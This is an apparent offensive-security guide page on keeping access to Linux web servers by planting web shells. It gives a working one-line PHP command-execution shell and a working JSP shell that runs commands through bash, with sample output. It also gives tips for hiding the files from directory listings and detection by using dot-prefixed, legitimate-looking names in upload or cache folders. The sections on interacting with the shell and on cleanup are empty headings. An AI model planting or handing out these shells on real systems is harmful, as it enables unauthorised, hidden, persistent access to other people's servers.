Linux Web Shell Persistence
A web shell dropped into the web root gives re-entry through the application layer. It survives reboots, user password changes, and most host-level persistence cleanup. It runs as the web server process user — typically www-data, apache, or nginx — so escalation is usually needed for full system access after re-entry.
PHP web shells
PHP is the most common server-side language on Linux web servers. A minimal shell is a single line.
<?php if(isset($_REQUEST['cmd'])){ echo shell_exec($_REQUEST['cmd']); } ?>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prefix the filename with a dot to hide it from directory listings. Placing it in an upload or cache directory reduces visibility further. Name it after a legitimate file type expected in that directory — .cache.php in an uploads folder, .config.php in the root.
Interacting with the shell
JSP web shells
Use JSP shells on targets running Tomcat or other Java application servers.
<%@@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
Cleaning up
Was this helpful?
Your feedback helps improve this page.